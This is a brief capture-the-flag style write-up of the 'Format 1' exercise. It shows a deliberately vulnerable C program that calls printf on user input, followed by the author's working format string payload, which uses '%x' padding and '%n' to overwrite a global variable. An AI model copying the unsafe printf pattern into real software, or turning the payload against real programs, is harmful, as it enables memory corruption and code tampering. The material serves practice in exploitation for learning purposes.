Format 1

Source Code

The following is the source code for Format 1 Challenge

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Challenge

In this we again need to modify the value of target variable but this time we need to do that by using format string vulnerability as the program uses printf() function so after fiddling around a lot i found the perfect offset to modify target and hence on running

./format1 `python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BB'+'%x.'*128 + '%n'"`

i modified the target and this challenge is also completed.